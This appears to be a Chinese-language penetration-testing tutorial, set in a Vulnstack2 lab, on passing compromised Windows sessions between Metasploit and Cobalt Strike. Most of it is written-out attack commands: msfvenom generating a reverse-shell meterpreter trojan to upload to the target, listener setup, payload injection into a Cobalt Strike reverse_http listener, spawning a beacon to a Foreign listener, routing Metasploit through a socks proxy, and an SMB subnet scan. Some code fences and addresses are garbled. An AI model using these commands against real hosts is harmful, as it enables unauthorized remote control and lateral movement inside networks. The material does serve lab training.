环境
- 攻击机:Kali,
192.168.100.2
- CS:监听器端口
8080
- MSF:监听端口
9999
- CS:监听器端口
-
MSF上线主机给CS
场景:当MSF有了一个Session会话,利用MSF注入功能,加载CS的Payload
测试的时候发现会弹个空白的笔记本出来
- 环境:Vulnstack2(Win_2008_R2_Standard_x64)
- MSF需要先拿到Shell。这里使用
msfvenom
生成一个恶意木马,并上传到靶机 ```shell $ msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=lport= -f exe > msf.exe

- MSF中开启监听,并在靶机中运行该木马
```shell
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > set lhost <MSF_IP>
msf6 exploit(multi/handler) > set lport <MSF_Port>
msf6 exploit(multi/handler) > exploit
- 在CS中创建监听器
- 监听器类型:
windows/beacon_http/reverse_http
- Host修改为CS的IP,监听指定端口,等待MSF发送
- 监听器类型:
使用payload_inject模块,执行之后会在本地产生一个新的Handler
msf> use exploit/windows/local/payload_inject
根据CS监听器类型选择对应的payload(http或者https)
msf> set payload windows/meterpreter/reverse_http
设置回连地址,CS_IP和监听器端口
msf> set LHOST
指定要执行的Session
msf> set session
设置MSF不启动监听,不然MSF会提示执行成功,但没有会话建立
msf> set disablepayloadhandler true msf> run
- 运行后CS上线

<a name="024a42a4"></a>
## CS上线主机给MSF
> 场景:CS已上线主机,想把这个主机发送给MSF,生成一个MSF的Session
- CS生成木马并上传到靶机,运行后主机上线
- MSF开始监听
```shell
# 配置监听器
msf> use exploit/multi/handler
# 选择Payload
msf> set payload windows/meterpreter/reverse_http # 不要用x64
msf> set lhost <MSF_IP>
msf> set lport <MSF_Port> # 设置任意端口进行监听
# 启动监听器
msf> run
- 然后在CS上设置一个Foreign监听器
- IP为MSF的监听IP
- 端口为MSF监听端口
- 在CS中右键会话,点击
Spawn
,选择MSF的监听器,或者在CS上线主机运行: ```shell beacon> Spawn msf

- 发送后MSF获得Session

<a name="29833eeb"></a>
## CS代理给MSF
> 场景:CS已上线主机,通过CS开放一个socks代理,让MSF连接此代理进行内网渗透
- 在CS上线主机Beacon中输入Socks监听端口
```shell
beacon> socks <Proxy_Prot> # 设置任意端口进行代理
- 在菜单栏点击
view > Proxy pirots
,点击Tunnel
,可以看到生成对应的命令 ```shell setg Proxies socks4::

- 开启MSF,输入命令进行设置代理
```shell
# MSF所有流量将走此代理
msf> setg Proxies socks4:<CS_IP>:<Proxy_Prot>
# 设置允许反向代理,即建立双向通道
# 如果通过此socks反弹shell,则需要开启,否则不推荐开启
msf> setg ReverseAllowProxy true
# 可以使用以下命令停止
msf> unsetg Proxies
- 扫描指定网段中的445端口 ```shell msf> use auxiliary/scanner/smb/smb_version msf> set rhost 192.168.100.0/24 # 靶机如果有其它网段也可以扫描 msf> set threads 10 msf> run
```